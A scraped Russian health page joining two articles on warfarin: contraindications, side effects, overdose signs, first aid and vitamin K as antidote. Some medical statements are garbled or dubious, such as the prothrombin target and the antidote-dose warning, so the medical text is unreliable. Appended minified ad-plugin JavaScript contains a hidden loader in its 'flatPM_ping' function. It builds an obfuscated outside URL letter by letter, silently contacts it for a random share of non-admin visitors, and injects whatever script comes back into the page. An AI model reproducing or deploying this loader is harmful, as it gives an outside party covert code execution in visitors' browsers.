Поэтому в тех случаях, когда необходимо быстро снизить свертываемость крови (инфаркт, тромбоэмболия, стенокардия с подозрением на тромбоз коронарных артерий) целесообразно применять гепарин или другой прямой антикоагулянт, в сочетании с кумаринами.

Противопоказания к назначению Варфарина

Данные препараты противопоказаны при любых болезнях и патологических состояниях, которые несут риск развития кровотечения, опасность которых возрастает, если возникнет передозировка Варфарина:

  • Гематурия любого генеза
  • Язвенная болезнь желудка и двенадцатиперстной кишки
  • Язвенный колит
  • Мочекаменная болезнь
  • Мочекаменный диатез
  • Беременность (кроме высокого риска маточных кровотечений опасаться стоит тератогенного эффекта, которым обладает Варфарин)

С осторожностью следует применять это лекарственно средство у пациентов с патологией печени. Во-первых, оно само по себе снижает ее функцию, может вызывать повреждения печени. Во-вторых, на фоне печеночной патологии может иметься недиагностированная недостаточность витамина К, что затрудняет подбор дозы препарат, и увеличивает риск передозировки.

Побочные эффекты Варфарина

Побочные действия Варфарина типичны для этой группы препаратов. Чаще всего могут возникать спонтанные кровотечения, увеличиваться кровоточивость десен. Увеличивается время до прекращения кровотечения.

При этом их локализация может быть чрезвычайно разнообразной, они могут быть связаны с предшествующими патологиями, или возникать без видимых причин. Наиболее часто они наблюдается в желудочно-кишечном тракте, мочеполовом тракте и центральной нервной системе:

  • Могут развиваться диспепсические расстройства, и изменения вкуса;
  • Стул может приобретать черный цвет, становится похожим на деготь;
  • Возможно угнетение функции печени, что отображается в биохимических анализах крови таких пациентов;
  • Может развиваться лейкопения, аллергические реакции и даже некроз кожи.

Очень важно помнить, что Варфарин способен проходить сквозь гематоплацентарный барьер, и обладает тератогенным действием.

Варфариновый некроз

Это достаточно редкое осложнение, которое, чаще всего, обнаруживается у женщин. Развивается оно через несколько суток после введения препарата. На коже выявляется бляшка красного цвета и округлой формы, имеющая плотную консистенцию и четкие границы.

Довольно быстро развивается ее некротизация, она становится фиолетовой или черной. На этом фоне могут появляться пузыри, имеющие геморрагическое содержимое, язвы или струпы, которые очень медленно заживают.

Наиболее часто поражается кожа на ягодицах, молочных железах и бедрах. Причиной такого явления врачи называют дефицит протеинов С, который является противосвертывающим белком, зависящим от витамина К.

Варфарин же – его антагонист.

Такая патологическая реакция наблюдается у лиц, с наследственным снижением уровня данного белка, так как его время полураспада быстрее чем у других факторов свертывания, поэтому его недостаточность развивается еще до начала действия Варфаринов. По этой же причине отмена препарата не помогает в случае некроза.

В сосудах развивается кратковременная гиперкоагуляция, что приводит к тромбозу мелких капилляров и ишемии кожи с последующим ее инфарктом.

Варфарин индуцированный остеопороз

Учеными была выявлена связь между применением Варфарина, и последующим развитием остеопороза у таких больных. Связано это явление с тем, что препарат вызывает нарушение минерализации костей.

Путем анализа множества историй болезней было подтверждено, что при применении антикоагулянтов возрастал риск перелома ребер, хребта и других костей. Это связано с снижением уровня витамина К, что приводит к недостаточному карбкосилированию некоторых белков, отвечающих за процессы минерализации.

Синдром фиолетового пальца

Эта патология относится к ранним осложнениям лечения, возникает в течении первых недель лечения препаратом.

Согласно теории, происходит множественное отложение мелких гранул холестерина в капиллярных сосудах кожи нижних конечностей, из-за чего она приобретает характерный синюшно-фиолетовый цвет, становится болезненной и отечной. Чаще всего изменения затрагивают большой палец и собственно стопу.

Передозировка препаратом

Варфарин, как лекарство, может быть довольно опасен, если использовать его без контроля, и не проверять правильность исполнения врачебных назначений.

Передозировка Варфарином развивается если доза вещества рассчитана неправильно, нарушены правила его введения, и неправильном контроле за свертываемостью крови.

При небольшом превышении дозы могут развиваться маленькие кровотечения – из носа, из десен, в кишечнике. Больной может не замечать их, или не придавать этому значения. Это ведет к появлению анемии постгеморрагического типа.

Лечебная тактика в случае передозировки

При назначении Варфарина необходимо проводить контроль свертывающей функции крови. С этой целью должна проводиться регулярная оценка коауголграммы, в частности – протромбинового индекса и протромбинового времени. Последнее должно держаться на уровне до 5%. При этом если данные показатели выходят за пределы нормы, то следует отменить лекарство.

В случае развития кровотечений при передозировке нужно немедленно вводить главный антагонист варфарина – витамин К, что позволит восстановить активность коагуляцию крови.

Обеспечив поступление в организм восстановленной формы данного вещества можно восстановить синтез нормальных факторов свертывания, и улучшить реологическое состояние крови. Нужно помнить о том, что для этого может потребоваться определенное время.

Обычная кровеостанавливающая терапия бывает малоэффективна, но применять ее все равно необходимо.

Источник: https://vseotravleniya.ru/himicheskie/lekarstva/peredozirovka-varfarina.html

Как определить передозировку Варфарином

Варфарин — лекарственное средство из группы антикоагулянтов. Назначают для лечения и профилактики тромбоза в глубоких венах, эмболии легочной артерии, инсульта. При соблюдении назначенной врачом дозировки отравление препаратом исключается. Если человек случайно принял повышенный объем средства, обращаются к врачу для проведения специфической терапии.

Когда возможна передозировка Варфарином

Отравление медикаментом происходит в случае пренебрежения противопоказаниями. Ограничения к приему лекарственного средства:

  • острое кровотечение;
  • патология печени или почек в тяжелой форме;
  • почечная недостаточность;
  • хроническое повышение артериального давления (гипертония);
  • ДВС-синдром (диссеминированное внутрисосудистое свертывание крови);
  • недостаточное содержание в организме белков С и S;
  • диатез геморрагической формы;
  • тромбоцитопенический синдром;
  • язвенные новообразования в желудке и 12-перстной кишке, обострение язвенной болезни;
  • кровотечение в церебральном отделе;
  • злоупотребление алкогольными напитками;
  • индивидуальная непереносимость компонентов препарата.

Обратите внимание! Не рекомендуется прием средства в период вынашивания плода из-за тератогенного действия: повышается риск кровотечения и гибели ребенка.

Активные компоненты средства Варфарин проникают в грудное молоко в незначительном объеме. Препарат разрешается использовать в период лактации. Ограничивают грудное вскармливание в первые 3 дня приема лекарства.

Причины отравления

Разовый суточный объем препарата Варфарин — 2,5–5 мг. Дозировка варьируется в зависимости от особенностей первичного заболевания (в том числе степени тяжести) и общего здоровья, определяется в индивидуальном порядке.

Ситуации, когда происходит передозировка Варфарином:

  • превышение рекомендуемой врачом дозировки;
  • лечение препаратом в течение продолжительного срока — дольше назначенного врачом;
  • ошибочный прием таблеток, которые хранятся в неоригинальной упаковке.

У детей передозировка препаратом чаще происходит при случайном проглатывании таблеток, которые родители не спрятали в недоступное место. Принимать средство после окончания срока действия запрещено даже в двойной дозировке.

Клиническая картина передозировки

В группе риска по возникновению клинических проявлений отравления препаратом и передозировки находятся люди, которые принимают средство на постоянной основе для лечения хронических заболеваний. Другие факторы риска:

  • сопутствующие заболевания, например, почечная недостаточность;
  • комплексный прием с другими антикоагулянтами;
  • возраст после 65 лет;
  • инсульт или желудочно-кишечное кровотечение в анамнезе.

Симптомы передозировки антикоагулянтом Варфарин:

  • аллергическая реакция: сыпь, гиперемия, зуд, жжение;
  • некроз кожного покрова;
  • головная боль, лихорадочный синдром;
  • тошнота и рвота;
  • диарея;
  • болевой синдром в эпигастральном отделе;
  • формирование язвенных образований в ротовой полости;
  • холестериновая микроэмболия;
  • остеопороз, лейкопения, агранулоцитоз (при продолжительном лечении);
  • нарушение работы печени и почек.

Для исключения риска возникновения негативных последствий передозировки соблюдают назначенную врачом дозировку препарата.

Первая помощь и лечение

После ошибочного приема повышенного объема лекарственного средства сразу принимают меры первой помощи:

  1. Прекращают пить таблетки.
  2. При нарушении общего состояния пострадавшего укладывают в максимально удобную позу.
  3. Если присутствует рвота, человека укладывают на бок для профилактики обратного заброса жидкости и нарушения дыхательной функции.

В обязательном порядке вызывают «Скорую помощь» или самостоятельно доставляют пострадавшего в больницу. Дальнейшее лечение передозировки Варфарином проводится в условиях стационара.

Специфическую терапию проводят, если передозировка произошла у беременной женщины, пожилого человека, ребенка, при наличии признаков кровотечения (внутреннего или наружного), ухудшении самочувствия.

Антидот

Специфический антидот для устранения симптомов передозировки препаратом Варфарин — витамин K1. Для скорейшей ликвидации действия антикоагулянта непрямого действия внутривенно вводят свежезамороженную плазму или концентрат протромбинового комплекса, которые содержат недостающие факторы свертывания крови.

Важно! Если превысить допустимую дозировку антидота (более 5 мг), возможно снижение восприимчивости антикоагулянта к витамину на срок до 7 дней.

Последствия

Если несвоевременно начать лечение передозировки Варфарином, возникают опасные последствия, которые требуют специфической терапии. Распространенное осложнение — внутреннее кровотечение.

Формы кровотечения с учетом выраженности:

  • обширное (внутри черепа, почечное, легочное, в других органах), за которым следует летальный исход или срочное переливание крови;
  • незначительное — возникает в остальных случаях.

Больные в группе риска:

  • проходящие лечение антикоагулянтом на протяжении первых 7 дней;
  • принимающие в комплексной терапии иные средства, которые угнетают работу свертывающей системы крови и препятствуют образованию тромбов;
  • с внутренними кровотечениями в анамнезе;
  • возраст после 65 лет;
  • страдающие сопутствующими тяжелыми заболеваниями, особенно связанными со свертываемостью крови.

Негативное последствие передозировки Варфарином — некроз тканей кожного покрова, внутренних органов. В период беременности осложнения связаны с нарушением формирования органов и систем плода, преждевременными родами.

Если случайно была выпита высокая доза препарата Варфарин, не рекомендуется заниматься самолечением. Неправильная терапия чревата летальным исходом — вызывайте «Скорую помощь».

Врач-пульмонолог, Терапевт, Кардиолог, Врач функциональной диагностики. Врач высшей категории. Опыт работы: 9 лет. Закончила Хабаровский государственный мединститут, клиническая ординатура по специальности «терапия». Занимаюсь диагностикой, лечением и профилактикой заболеваний внутренних органов, также провожу профосмотры. Лечу заболевания органов дыхания, желудочно-кишечного тракта, сердечно-сосудистой системы.
Беспалова Ирина Леонидовна опубликовала статей: 393

Источник: https://ObOtravlenii.ru/himicheskoe/lekarstvami/peredozirovka-varfarinom.html

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};